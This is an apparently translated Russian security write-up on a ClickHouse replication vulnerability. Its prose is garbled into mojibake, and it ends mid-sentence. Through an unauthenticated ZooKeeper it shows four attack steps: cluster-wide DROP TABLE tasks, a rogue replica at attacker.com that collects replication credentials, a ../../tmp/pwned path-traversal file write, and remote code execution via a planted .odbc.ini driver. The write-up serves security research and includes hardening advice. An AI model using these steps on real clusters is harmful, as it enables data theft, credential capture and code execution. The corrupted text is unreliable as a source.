Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Π±ΡΠ΄Π΅Ρ ΠΈΡΡΠΎΡΠΈΡ ΠΎΠ± ΠΎΠ΄Π½ΠΎΠΉ Π²Π΅ΡΡΠΌΠ° Ρ Π°ΡΠ°ΠΊΡΠ΅ΡΠ½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π΅ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π² ClickHouse, Π° ΡΠ°ΠΊΠΆΠ΅ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΡΡΠΈΡΠΈΡΡ ΠΏΠ»ΠΎΡΠΊΠΎΡΡΡ Π°ΡΠ°ΠΊΠΈ.
ClickHouse β ΡΡΠΎ Π±Π°Π·Π° Π΄Π°Π½Π½ΡΡ
Π΄Π»Ρ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ Π±ΠΎΠ»ΡΡΠΈΡ
ΠΎΠ±ΡΠ΅ΠΌΠΎΠ² Π΄Π°Π½Π½ΡΡ
, ΡΠ°ΡΠ΅ Π²ΡΠ΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π±ΠΎΠ»ΡΡΠ΅ ΠΎΠ΄Π½ΠΎΠΉ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ. ΠΠ»Π°ΡΡΠ΅ΡΠΈΠ·Π°ΡΠΈΡ ΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π² ClickHouse ΡΡΡΠΎΡΡΡΡ ΠΏΠΎΠ²Π΅ΡΡ
Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ZK ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π½Π΅ ΡΡΠ΅Π±ΡΠ΅Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ, ΡΠ°ΠΊ ΡΡΠΎ ΡΡΡΡΡΠΈ ZK ΡΠ΅ΡΠ²Π΅ΡΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π΄Π»Ρ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ Kafka, Hadoop, ClickHouse Π΄ΠΎΡΡΡΠΏΠ½Ρ ΠΏΡΠ±Π»ΠΈΡΠ½ΠΎ.
ΠΠ»Ρ ΡΠΎΠΊΡΠ°ΡΠ΅Π½ΠΈΡ ΠΏΠ»ΠΎΡΠΊΠΎΡΡΠΈ Π°ΡΠ°ΠΊΠΈ Π²Ρ Π²ΡΠ΅Π³Π΄Π° Π΄ΠΎΠ»ΠΆΠ½Ρ Π½Π°ΡΡΡΠ°ΠΈΠ²Π°ΡΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ ΠΈ Π°Π²ΡΠΎΡΠΈΠ·Π°ΡΠΈΡ ΠΏΡΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ΅ ZooKeeper
ΠΡΡΡ ΠΊΠΎΠ½Π΅ΡΠ½ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ 0day Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ Java Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ, Π½ΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΡΡΠ΅ ΡΠ΅Π±Π΅, ΡΡΠΎ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ ΡΠΈΡΠ°ΡΡ ΠΈ ΠΏΠΈΡΠ°ΡΡ Π² ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΠΉ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ClickHouse.
ΠΡΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠ΅ Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ½ΠΎΠΌ ΡΠ΅ΠΆΠΈΠΌΠ΅ ClickHouse ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ ΡΠ°ΡΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ Π·Π°ΠΏΡΠΎΡΡ /clickhouse/task_queue/ddl
.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ Π²Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΠ΅ ΡΠ·Π΅Π» /clickhouse/task_queue/ddl/query-0001
Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
Π° ΠΏΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ°Ρ ΠΊΠ»Π°ΡΡΠ΅ΡΠ° host1 ΠΈ host2 ΡΠ°Π±Π»ΠΈΡΠ° test Π±ΡΠ΄Π΅Ρ ΡΠ΄Π°Π»Π΅Π½Π°. DDL ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ Π·Π°ΠΏΡΡΠΊ Π·Π°ΠΏΡΠΎΡΠΎΠ² CREATE/ALTER/DROP.
ΠΠ²ΡΡΠΈΡ ΡΡΡΠ°ΡΠ½ΠΎ? ΠΠΎ Π³Π΄Π΅ ΠΆΠ΅ Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΡΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π°Π΄ΡΠ΅ΡΠ° ΡΠ΅ΡΠ²Π΅ΡΠΎΠ²?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
Π±ΡΠ΄ΡΡ ΡΠΎΠ·Π΄Π°Π½Ρ ΡΠ·Π»Ρ columns ΠΈ metadata.
Π‘ΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ΠΠΎΠΆΠ½ΠΎ Π»ΠΈ ΡΠ»ΠΈΡΡ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· ΡΡΠΎΠ³ΠΎ ΠΊΠ»Π°ΡΡΠ΅ΡΠ°? ΠΠ°, Π΅ΡΠ»ΠΈ ΠΏΠΎΡΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ (TCP/9009
) Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ chXX-address
Π½Π΅ Π±ΡΠ΄Π΅Ρ Π·Π°ΠΊΡΡΡ firewall ΠΈ Π½Π΅ Π±ΡΠ΄Π΅Ρ Π½Π°ΡΡΡΠΎΠ΅Π½Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. ΠΠ°ΠΊ ΠΎΠ±ΠΎΠΉΡΠΈ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ?
ΠΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΡΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΡ Π² ZK, ΠΏΡΠΎΡΡΠΎ ΠΊΠΎΠΏΠΈΡΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ Ρ /clickhouse/tables/01-01/foobar/replicas/chXX
ΠΈ ΠΌΠ΅Π½ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ host
.
Π‘ΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ΠΠ°ΡΠ΅ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠ°Π·Π°ΡΡ ΠΎΡΡΠ°Π»ΡΠ½ΡΠΌ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΠΌ, ΡΡΠΎ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ Π΅ΡΡΡ Π½ΠΎΠ²ΡΠΉ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½ΡΡ
, ΠΊΠΎΡΠΎΡΡΠΉ ΠΈΠΌ Π½Π°Π΄ΠΎ Π·Π°Π±ΡΠ°ΡΡ β ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΡΠ·Π΅Π» Π² ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ΠΌΠΎΠ½ΠΎΡΠΎΠ½Π½ΠΎ ΡΠ°ΡΡΡΡΠΈΠΉ ΡΡΠ΅ΡΡΠΈΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π±ΠΎΠ»ΡΡΠ΅, ΡΠ΅ΠΌ ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ Π² ΠΆΡΡΠ½Π°Π»Π΅ ΡΠΎΠ±ΡΡΠΈΠΉ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
Π³Π΄Π΅ source_replica β ΠΈΠΌΡ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ, ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠΉ Π½Π° ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅ΠΌ ΡΠ°Π³Π΅, block_id β ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ
, get β ΠΊΠΎΠΌΠ°Π½Π΄Π° "get block" (Π°
ΠΠ°Π»Π΅Π΅ ΠΊΠ°ΠΆΠ΄Π°Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ° ΡΠΈΡΠ°Π΅Ρ Π½ΠΎΠ²ΠΎΠ΅ ΡΠΎΠ±ΡΡΠΈΠ΅ Π² ΠΆΡΡΠ½Π°Π»Π΅ ΠΈ ΠΈΠ΄Π΅Ρ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ, ΠΏΠΎΠ΄ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ½ΡΠΉ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΡ, Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ
(ΠΏΡΠΎΡΠΎΠΊΠΎΠ» ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π΄Π²ΠΎΠΈΡΠ½ΡΠΉ, ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΏΠΎΠ²Π΅ΡΡ
HTTP). Π‘Π΅ΡΠ²Π΅Ρ attacker.com
Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ»ΡΡΠ°ΡΡ Π·Π°ΠΏΡΠΎΡΡ:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
Π³Π΄Π΅ XXX β ΠΈ Π΅ΡΡΡ Π΄Π°Π½Π½ΡΠ΅ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ. Π Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΠ»ΡΡΠ°ΡΡ ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΡΡΠ΅ΡΠ½Π°Ρ Π·Π°ΠΏΠΈΡΡ Ρ Π΄ΠΎΡΡΡΠΏΠΎΠΌ ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½ΡΡ ΠΏΠΎ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΌΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ ClickHouse ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ HTTP. ΠΠ°ΠΊ Π²Ρ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΏΠ»ΠΎΡΠΊΠΎΡΡΡ Π°ΡΠ°ΠΊΠΈ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠΈ Π±ΠΎΠ»ΡΡΠΎΠΉ, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ZooKeeper, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΠΉ Π΄Π»Ρ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ, ΠΎΡΡΠ°Π»ΡΡ Π±Π΅Π· Π½Π°ΡΡΡΠΎΠ΅Π½Π½ΠΎΠΉ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ Π½Π° ΡΡΠ½ΠΊΡΠΈΡ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ ΠΈΠ· ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ, ΠΎΠ½Π° Π½Π°ΠΏΠΈΡΠ°Π½Π° Ρ ΠΏΠΎΠ»Π½ΠΎΠΉ ΡΠ²Π΅ΡΠ΅Π½Π½ΠΎΡΡΡΡ, ΡΡΠΎ Π²ΡΠ΅ ΡΠ΅ΠΏΠ»ΠΈΠΊΠΈ ΠΏΠΎΠ΄ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΌ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΠΌ ΠΈ ΠΌΠ΅ΠΆΠ΄Ρ Π½ΠΈΠΌΠΈ Π΅ΡΡΡ Π΄ΠΎΠ²Π΅ΡΠΈΠ΅.
ΠΊΠΎΠ΄ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ
Π€ΡΠ½ΠΊΡΠΈΡ ΡΠΈΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ ΡΠ°ΠΉΠ»ΠΎΠ², Π·Π°ΡΠ΅ΠΌ ΠΈΡ ΠΈΠΌΠ΅Π½Π°, ΡΠ°Π·ΠΌΠ΅ΡΡ, ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅, ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ ΠΏΠΈΡΠ΅Ρ ΠΈΡ Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅. Π‘ΡΠΎΠΈΡ ΠΎΡΠ΄Π΅Π»ΡΠ½ΠΎ ΠΎΠΏΠΈΡΠ°ΡΡ, ΠΊΠ°ΠΊ Ρ ΡΠ°Π½ΡΡΡΡ Π΄Π°Π½Π½ΡΠ΅ Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅.
ΠΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠ² Π² /var/lib/clickhouse
(ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ ΠΏΠΎ-ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΈΠ· ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°):
flags β ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π΄Π»Ρ Π·Π°ΠΏΠΈΡΠΈ
tmp β ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ
ΡΠ°Π½Π΅Π½ΠΈΡ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
ΡΠ°ΠΉΠ»ΠΎΠ²;
user_files β ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Ρ ΡΠ°ΠΉΠ»Π°ΠΌΠΈ Π² Π·Π°ΠΏΡΠΎΡΠ°Ρ
ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½Ρ ΡΡΠΈΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠΌ (INTO OUTFILE ΠΈ Π΄ΡΡΠ³ΠΈΠ΅);
metadata β ΡΠ°ΠΉΠ»Ρ sql Ρ ΠΎΠΏΠΈΡΠ°Π½ΠΈΡΠΌΠΈ ΡΠ°Π±Π»ΠΈΡ;
preprocessed_configs β ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΠ΅ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΡΠ΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ ΠΈΠ· /etc/clickhouse-server
;
data β ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ ΡΠ°ΠΌΠΈΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ, Π² ΡΡΠΌ ΡΠ»ΡΡΠ°Π΅ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π±Π°Π·Ρ ΠΏΡΠΎΡΡΠΎ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΉ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π·Π΄Π΅ΡΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ /var/lib/clickhouse/data/default
).
ΠΠ»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΠ°Π±Π»ΠΈΡΡ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΏΠΎΠ΄ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ Ρ Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½ΡΡ
. ΠΠ°ΠΆΠ΄ΡΠΉ ΡΡΠΎΠ»Π±Π΅Ρ β ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΎΡ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Π Π΅ΠΏΠ»ΠΈΠΊΠ° ΠΎΠΆΠΈΠ΄Π°Π΅Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² Ρ ΡΠ°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ΅ Π±Π»ΠΎΠΊΠ° Π΄Π°Π½Π½ΡΡ ΠΈ Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΠΈΡ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ.
ΠΠ½ΠΈΠΌΠ°ΡΠ΅Π»ΡΠ½ΡΠΉ ΡΠΈΡΠ°ΡΠ΅Π»Ρ Π²Π΅ΡΠΎΡΡΠ½ΠΎ ΡΠΆΠ΅ ΡΠ»ΡΡΠ°Π» ΠΏΡΠΎ Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΡΡ ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΡ file_name Π² ΡΡΠ½ΠΊΡΠΈΠΈ WriteBufferFromFile
. ΠΠ°, ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ Π·Π°ΠΏΠΈΡΠ°ΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ½ΡΠ΅Π½Ρ Π² Π»ΡΠ±ΠΎΠΉ ΡΠ°ΠΉΠ» Π½Π° Π€Π‘ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse
. ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°, ΠΏΠΎΠ΄ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ½Π°Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌΡ, Π΄ΠΎΠ»ΠΆΠ½Π° Π²Π΅ΡΠ½ΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΎΡΠ²Π΅Ρ Π½Π° Π·Π°ΠΏΡΠΎΡ (Π΄Π»Ρ ΠΏΡΠΎΡΡΠΎΡΡ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΡ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΡ ΡΡΡΠΎΠΊ):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
Π° ΠΏΠΎΡΠ»Π΅ ΠΊΠΎΠ½ΠΊΠ°ΡΠ΅Π½Π°ΡΠΈΠΈ ../../../../../../../../../tmp/pwned
Π±ΡΠ΄Π΅Ρ Π·Π°ΠΏΠΈΡΠ°Π½ ΡΠ°ΠΉΠ» /tmp/pwned Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ hellofromzookeeper.
ΠΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π²Π°ΡΠΈΠ°Π½ΡΠΎΠ² ΠΏΡΠ΅Π²ΡΠ°ΡΠ΅Π½ΠΈΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ Π·Π°ΠΏΠΈΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² Π² ΡΠ΄Π°Π»Π΅Π½Π½ΡΠΉ Π·Π°ΠΏΡΡΠΊ ΠΊΠΎΠ΄Π° (RCE).
ΠΠ½Π΅ΡΠ½ΠΈΠ΅ ΡΠ»ΠΎΠ²Π°ΡΠΈ Π² RCE
Π ΡΡΠ°ΡΡΡ
Π²Π΅ΡΡΠΈΡΡ
ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΠΌΠΈ ClickHouse Ρ
ΡΠ°Π½ΠΈΠ»ΡΡ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse ΠΏΠΎ-ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ. Π€Π°ΠΉΠ»Ρ Π½Π°ΡΡΡΠΎΠ΅ΠΊ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΡΡ ΡΠΎΠ±ΠΎΠΉ ΡΠ°ΠΉΠ»Ρ XML, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ΅ΡΠ²ΠΈΡ ΡΠΈΡΠ°Π΅Ρ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅, Π° Π·Π°ΡΠ΅ΠΌ ΠΊΡΡΠΈΡΡΠ΅Ρ Π² /var/lib/clickhouse/preprocessed_configs
. ΠΡΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡΡ
ΠΎΠ½ΠΈ ΠΏΠ΅ΡΠ΅ΡΠΈΡΡΠ²Π°ΡΡΡΡ. ΠΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ /etc/clickhouse-server
Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ root
.
ODBC Π² RCE
ΠΡΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ΅ ΠΏΠ°ΠΊΠ΅ΡΠ° ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse
, ΠΏΡΠΈ ΡΡΠΎΠΌ Π½Π΅ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ Π΅Π³ΠΎ Π΄ΠΎΠΌΠ°ΡΠ½ΠΈΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ /nonexistent
. ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π½Π΅ΡΠ½ΠΈΡ
ΡΠ»ΠΎΠ²Π°ΡΠ΅ΠΉ, Π»ΠΈΠ±ΠΎ ΠΏΠΎ Π΄ΡΡΠ³ΠΈΠΌ ΠΏΡΠΈΡΠΈΠ½Π°ΠΌ, Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡ ΡΠΎΠ·Π΄Π°ΡΡ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ /nonexistent
ΠΈ Π΄Π°ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ clickhouse
Π΄ΠΎΡΡΡΠΏ Π½Π° Π·Π°ΠΏΠΈΡΡ Π² Π½Π΅Π³ΠΎ (Π‘Π‘ΠΠ! ΠΏΡΠΈΠΌ. ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄ΡΠΈΠΊΠ°).
ClickHouse ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ odbc-bridge
, ΡΠ°ΠΊ ΡΡΠΎ ΡΠ΅ΠΏΠ΅ΡΡ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Π·Π°ΡΡ ΠΏΡΡΡ ΠΊ Π΄ΡΠ°ΠΉΠ²Π΅ΡΡ ΠΈΠ· Π·Π°ΠΏΡΠΎΡΠ°. ΠΠΎ Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΈΡΠ°ΡΡ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΠΈΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡΡ Π²ΡΡΠ΅?
ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΡΠ°ΠΉΠ» ~/.odbc.ini
Ρ ΡΠ°ΠΊΠΈΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΡΠΌ:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
Π·Π°ΡΠ΅ΠΌ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ΄Π³ΡΡΠΆΠ΅Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° test.so
ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΎ RCE (ΡΠΏΠ°ΡΠΈΠ±ΠΎ
